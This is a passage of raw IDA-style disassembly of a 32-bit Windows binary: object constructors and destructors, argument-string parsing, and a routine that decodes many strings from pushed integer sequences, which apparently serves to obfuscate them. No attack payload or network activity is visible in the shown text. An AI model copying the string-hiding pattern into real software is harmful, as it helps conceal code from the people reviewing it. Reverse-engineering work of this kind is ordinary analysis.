		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
		lea	edi, [esp+478h+var_408]


loc_4035E1:				; CODE XREF: sub_403530+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_403637
		lea	ecx, [esp+478h+var_438]
		call	sub_40168B
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401AAF
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_4035E1


loc_403637:				; CODE XREF: sub_403530+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_403530	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403700	proc near		; CODE XREF: sub_40168Bj
		mov	eax, [ecx+9]
		retn
sub_403700	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403720	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403720
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_40222A
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_40222A
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_40222A
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_40222A
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_40222A
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_40222A
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_40222A
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_40222A
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_40222A
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_40222A
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_40222A
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_40222A
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_40222A
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_40222A
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_40222A
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_40222A
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_40222A
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_40222A
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_40222A
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_40222A
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_40222A
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_40222A
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_40222A
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_40222A
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_40222A
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_40222A
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_40222A
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_40222A
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_40222A
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_40222A
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_40222A
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_40222A
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_40222A
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401753
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401753
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401753
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401753
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401753
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401753
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401753
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401753
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401753
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401753
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401753
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401753
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401753
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401753
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401753
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401753
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401753
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403720	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C50	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C50	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CC0	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F004
		retn
sub_403CC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CE0	proc near		; CODE XREF: sub_40222Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403CE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D60	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403DE0	proc near		; CODE XREF: sub_401753j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403DE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403DE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E50	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40222A
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403F30	proc near		; CODE XREF: sub_40208Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403F30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AE6
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403F30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_404010	proc near		; CODE XREF: sub_401D48j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_404010
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_404010	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017EE
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017EE
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017EE
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017EE
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017EE
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017EE
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017EE
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h,	24548D23h
		dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh
		dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh
		dd 45F46850h, 75680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h
		dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h
		dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h,	0FE8105Ch
		dd 50FFFFD3h, 4445F068h, 8E456800h, 3EE8004Eh, 83FFFFCBh
		dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 0C60AE890h
		dd 0C88B023Dh, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h
		dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h,	0D89645Dh
		dd 0
; ---------------------------------------------------------------------------
		add	esp, 54h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 150h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404690	proc near		; CODE XREF: sub_401A41j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404690
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_401479
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_4046D2
		push	ebx
		jmp	short loc_4046D6
; ---------------------------------------------------------------------------


loc_4046D2:				; CODE XREF: sub_404690+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_4046D6:				; CODE XREF: sub_404690+40j
		mov	ecx, edi
		call	sub_401FDC
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046F2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FDC


loc_4046F2:				; CODE XREF: sub_404690+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40476F
		lea	ecx, [esp+98h+var_6C]
		call	sub_40142E
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013ED
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40476F:				; CODE XREF: sub_404690+6Aj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E47
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_401479
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_401479
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_404A3A
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40485F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jz	short loc_40485F
		mov	bl, 1
		jmp	short loc_404861
; ---------------------------------------------------------------------------


loc_40485F:				; CODE XREF: sub_404690+1A6j
					; sub_404690+1C9j
		xor	bl, bl


loc_404861:				; CODE XREF: sub_404690+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_404A1E
		push	offset asc_444600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_404A3A
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_404A3A
		push	20h
		mov	ecx, esi
		call	sub_401D34
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D34
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40202C
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FDC
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016B8
